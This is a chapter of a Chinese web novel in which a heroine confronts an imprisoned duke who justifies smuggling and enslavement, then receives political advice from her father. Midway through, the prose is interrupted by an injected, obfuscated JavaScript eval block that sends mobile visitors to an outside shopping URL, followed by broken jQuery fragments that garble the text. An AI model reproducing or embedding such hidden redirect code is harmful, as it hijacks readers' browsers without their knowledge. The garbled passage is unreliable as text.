104. 第 104 章

作品:《鹤鹿同春

    章麓被破例分封,俨然成了风口浪尖上的人,她不想出去被当猴子围观议论,便在府内躲懒纳凉,听双竹和晴野讲他们在泾源和奉天的经历。


    不知道是不是自己的错觉,章麓总觉得双竹和晴野之间的气氛变了。


    “姑娘,靖国公想见你。”云逸站在亭子外三步远的位置。


    “他要见我?”章麓颇感诧异。


    这事儿是诏狱的司长上报至陛下的,陛下只是沉思了片刻,便准了这项请求,并由孟德才来虞庆侯府告知章麓,至于要不要见,全看章麓自己的意思。


    章麓思索了片刻,道:“无论是保全自身还是拉人下水,都不该来见我才是。但他偏偏在这个时候见我,倒真不知道他想要做什么。”


    她好奇的跟着孟德才来到诏狱,见到了于狱中多日,依旧衣冠整洁的靖国公。


    他的身子一直很虚弱,在狱中的这五十几日,更是身形消瘦,宛若枯骨,但一双眼眸却明亮的紧,没有半点浑浊。


    他见章麓前来,从草垛上站起身,行至牢门前,道:“郡主是否好奇我请你来的目的?”


    “有一点,但无所谓。”她坐在孟德才搬来的椅子上,铺平自己雪白的衣裙,面色坦然。


    靖国公笑笑,又问道:“那郡主是否好奇我背后之人,当年又是如何搭上祁中岳的?”


    章麓眸光一顿,反问道:“你想不想我好奇?”


    “你既说出这番话,便知你必定好奇。”靖国公悠然道:“我最后一问,你可知为何这条.走.私.线上的州府都愿给方便,睁一只眼闭一只眼?”


    “因为钱,只要利益足够,没有什么办不到,这世间能不为五斗米折腰的人实在太少太少。”


    靖国公哈哈笑了两声道:“对却也不对。”


    他仰起头,透过头顶的小窗遥望着外面的蓝天:“战乱实在持续了太久太久了,久到国库拨不出款,久到地方商人的权利凌驾在地方官员之上,久到有钱能使鬼推磨,无钱行船寸步难,久到灾无可赈,易子而食。”


    前朝末年皇帝昏聩,日日只想自己骄奢淫逸,却不理百姓旦夕祸福。


    以至民不聊生,起义之声四起,无数人画地而治,不再接受朝廷把控,虞庆侯就是其中之一,章麓对此深有体会。


    靖国公又道:“郡主可知这条通往吐谷浑的漕运线输丁多少?”


    章麓蹙眉没有回应。


    靖国公自问自答道:“是四百万,相比平原郡那点死奴,根本就是个庞然大物。”


    “郡主可知每丁支出银钱多少?是一百文,其中五十文充营窖贮纳司农,余下五十文才归劳力所有。而地方要修栈道,修堤坝,炼钢炼铁武备军库,逢灾还要开仓放粮等等,财政收支失衡,便打了劳力们这五十文的主意,因而才有了这条通天之路。”


    章麓轻嗤一声,问道:“难道这就是你们坑害百姓成为死奴的理由?为了百姓所以坑害他们?你不觉得这很好笑吗?”


    “那是为了牺牲少数人而谋求多数人的存活!郡主可知三门峡之险?若是山门峡不通,北方有多少人要因此承受高额的粮价,甚至因为买不起米粮而饿死?”


    “砥柱山之六峰者,皆生河之中流,盖夏……”


    “行了,别整这些文绉绉的东西。”章麓打断他的话:“我知道三门之险,峰顶平阔,孤石数丈,圆如削成。两崖夹水,壁立千仞,盘纡激射,天下罕比。(赵冬曦《三门赋》)可那又怎样?千百年来不都是这样吗?因而洛阳转运司成为了东西南北的漕运核心,水转陆,陆转水,世世代代也没见那边因此饿死。反倒是因为你们的贪婪,让数万百姓失去了自由,失去了活着的权利。”


    靖国公脖颈的青筋鼓动了几下:“你们能将幽云十六州治理得井井有条,能开垦黑土地种植粮食,自给自足,是因为有个奉州伯!他确实惊才绝绝,学识广博,既能造水运天象仪,还能改良土地粮种。可天下哪儿来得这么多这样的极慧之人!你们章氏坐拥财宝,名利之获得简直不费吹灰之力,但其他地方的人呢?你们不将至宝贡献出来已然是伪善!又有什么立场指责我!”


    靖国公扒着监牢栏杆:“我曾为先帝偷来奉州伯的成果,本想要献给先帝以造福全天下的百姓,可谁能想啊,我那嫡兄眼光狭窄,只看得到自己的一亩三分地,在先帝面前进谗言,将这些东西都掩埋了起来!大相国寺的书斋记载了多少利国利民的良策,最后却都只能在暗无天日的地下腐烂!”


    “这就是你轻贱人命的理由吗?”章麓挑眉:“恕我无法苟同。”她站起身,弹了弹衣服上不存在的灰尘,道:“我没空在这里跟你闲聊,若是没有其他事,就此永别。”


    “等一下!”靖国公抓住牢房的栏杆:“因为战乱,百姓疾苦,地方财政入不敷出,想要挽救大多数人的性命,就必须做出取舍。所以,他们为了政绩妥协,对我们的行为坐视不理,甚至顺水推舟。我们每到一站,就会放下一船的货物以富裕百姓。每年从济河发三百纲槽,但真正到达吐谷浑的只有一百纲,余下的两百纲还是在中原人的手中!”


    “那又如何呢?”章麓回头过,死死的盯着靖国公:“那一百纲的盐铁米粮还是进了吐谷浑的肚子,而他们利用这些养活了一大批军队,吞并了西戎三十六小国,逼得吐蕃退至雪山南侧,令自己成为西戎一霸,自立为西戎王,勾结西突厥不断侵扰安西四镇。怎么?安西四镇的两百万百姓就不是人命了吗?什么叫大多数什么叫少数?不过是你欺骗的借口罢了!你难道没有从中获得利益吗?靖国公府上下的人难道不是拿这些染血的脏钱养活的吗?你们的富贵难道不是建立在百姓的尸骨上的吗?”


    靖国公:“那些死奴都是活该!都是罪人!是他们的贪婪让他们成为了肥料!我只不过是让这群腐烂的人为这个社会做出他们该做出的贡献!这样的人不配活着,我们应该将有限的资源投入在那些有用的人身上!”


    章麓一步一步靠近牢房,让狱卒将门打开,冲进去一把扼住靖国公的喉咙,将人抵在墙上:“我真的很想杀了你,但我不能,不是因为我心软,不是因为我觉得你做得对,而是因为我知道遵守法度,知道什么该做什么不该做,不像你,为了自己,为了利益,为了那些自圆其说的道理,放下良知、廉耻、仁慈,成为一个贪婪、自私、愚蠢的恶人。”


    空气在一点一点的被剥离,靖国公能感觉到他的生命在流逝,那种极为痛苦的窒息感,令他感到恐惧,他疯狂的抓挠章麓的手,不断的踢腾着双脚,却始终无法摆脱禁锢。


    一个女人的力气有这么大吗?靖国公恐惧的想着。


    不,一定是因为这段时间吃不好睡不好的关系,因为他生着病,所以他才比不过一个女人,一定不是因为别的。对!一定不是因为别的!


    章麓看着他擅动的眸光,就知道他又在说服自己,不屑的冷笑一声,将他甩到地上。


    “咳咳咳……”靖国公捂着脖子不停的咳嗽着,他的胸口感受到了如灼伤般的疼痛,瘫坐在地上恶狠狠的盯着章麓,盯着这个高高在上,以蔑视的目光俯视着自己的女人。


    “良知乃是天理昭明灵觉处,故良知即是天理。(《传习录》)”章麓用手绢擦了擦自己的手,然后将它丢进外墙上挂着火盆里,看着火焰将它焚烧殆尽。


    靖国公:“智者不争,仁者不择,善者不平。”


    章麓无所谓的转身离开:“不与君子论长短,不与小人争是非。”


    靖国公爬起来,抓住监牢栏杆,拼命的往外挤着自己的身体,对着章麓无情的背影叫喊道:“祁中岳不是因为我才打开北宁关的大门的,当年我奉主人的命令去偷奉州伯的成果,但我没有将东西交给他,我背叛他投靠了先帝,因此被踢出局,不得不转而投靠邓州伯!祁中岳和主人才是这条线上的最大利益获得者!你如果想杀了祁中岳,就必须先找到我的主人,但你一辈子都找不到!我的主人终将推翻李氏江山,成为这个天下真正的霸主!”


    “他会实现我们的宏愿!这世上,只有为社会创造价值的人才配活着!贪婪的、碌碌无为的人只配做养分——”


    章麓心烦意乱的走出了监牢,正遇上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266792|130007||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    风尘仆仆赶来的李鹤霖。


    “还好吗?”李鹤霖问。


    章麓摇了摇头,走过去抱住了李鹤霖的腰身,将自己的脸埋在了对方坚实的胸膛上。


    她的声音很沉闷:“靖国公说了一些话……我觉得我知道德州那些死奴被卖去了哪里,又去做什么。”


    李鹤霖轻抚着章麓的脑后。


    章麓:“殿下,如果我们去了登州,查不出李啸音半点错处该如何?”


    李鹤霖声音低沉:“父皇予我代天子巡狩金令,言明若济水漕运司和税务司确实参与进来,与卫王府沆瀣一气,顺者羁押入京受审,违者杀无赦。”


    *


    在泰安帝处理完宫变的后续事宜,封赏了所有有功之人后,王爷公主就藩的事就被提上了日程。


    泰安帝也没有完全让他们呆在封地不回来,而是打着替陛下分忧的旗号,前往封地巡视。泰安帝担忧子女安慰,还特意拨了兵马给他们。


    虞庆侯早就知道会有这一出,皇帝是铁了心要将章家绑在淳王的战船上。在出发的前一日,他将章麓叫到书房,入京以来头一次与她促膝长谈。


    桌面上铺着一张黄麻纸,上面只这些一个大大的‘忍’字,虞庆侯放下笔,看向自己的女儿,说:“袅袅,还记得在范阳时为父对你说过的话吗?”


    章麓思考了一瞬,回答道:“记得,父亲说过,此行前去范阳,便是要以女儿一人保章家两世平安,也护幽云十六州的百姓几十年的安稳。”


    “没错,如今为父依旧是这一句话。可除此之外,为父还有一件事要让你明白。”虞庆侯沧桑的面庞在灯火的映照下显得昏黄暗沉,极为颓废与疲惫,他道:“章家虽无反叛之心,但毕竟兵权过重。泰安帝如今还要依靠章家坚守北方,自然不敢轻易动了根基。然,你是为父唯一血脉,陛下定然不会允许为父将爵位传给你。章启的身世是为父亲手递给陛下的一把刀,随时都可以桶入章氏一族的命门。”


    “陛下将你嫁给淳王,只是因为陛下看中淳王,想他做储君。可淳王的性子太过刚直,于政事上不会灵活变通,并不适合做皇帝。陛下如今让皇子皇女就藩,一方面是为了查给地官员,另一方面,也是给了淳王历练的机会。陛下想让你跟着,是想借你之手让淳王看清现实,不要总寄希望于人性本善。”


    “可若是淳王无法做到在政治上的灵活变通,陛下定然不会一直寄希望于他。到时候,为了给他心中新的储君人选造势,你的夫君……未必会一直是淳王。你能明白为父的意思吗?”


    章麓久久没有说话,她不是没想过这种可能,但在见到皇帝对皇后和淳王的宠爱后,这点疑虑被她打消了。可如今被父亲再次翻开来,赤裸裸的摆在面前,一时猝不及防,令她无所适从。


    “父亲……的意思,是什么?”章麓看向虞庆侯,平心而论,四皇子断臂,已然不可能登上皇位,剩下的无非就是五皇子李谨焕,和八皇子李谨献最有可能。


    然而李谨焕的母族也手握兵权,皇帝未必放心强强联合。而其他皇子尚且年幼,比她小了十岁有余,如此这般,皇帝也会强行让她嫁过去吗?


    虞庆侯看着女儿变幻莫测的脸,就知道她想到了最坏的情况:“陛下是个对联姻深信不疑的君主,如果联姻不成,便只有……”虞庆侯做了个抹脖子的动作,“所以,章氏全族必定全力保住淳王。”


    章麓差异的抬头:“父亲?”


    “淳王虽然不通人情世故,却是用兵奇才。如今天下初定,三代皇帝内未必能完全安稳住内忧外患。在绝对的武力压迫下,任何政治都是空谈。即便淳王于政事上确实太过刚直,不知怀柔为何故。但他与军事上却无人可敌,这样的皇帝在此乱世中才能保全一个国家。而且,陛下对皇后心存愧疚,对淳王多有偏爱,这是他的资本。只要他不失去民心,陛下就有替他力挽狂澜的办法。”


    “你记住,无论淳王想做什么,你尽管让他去做。而你要做的,就是在他迷惘的时候指一条明路,只要民心所向,哪怕困难重重,有违礼法,他淳王都做得!”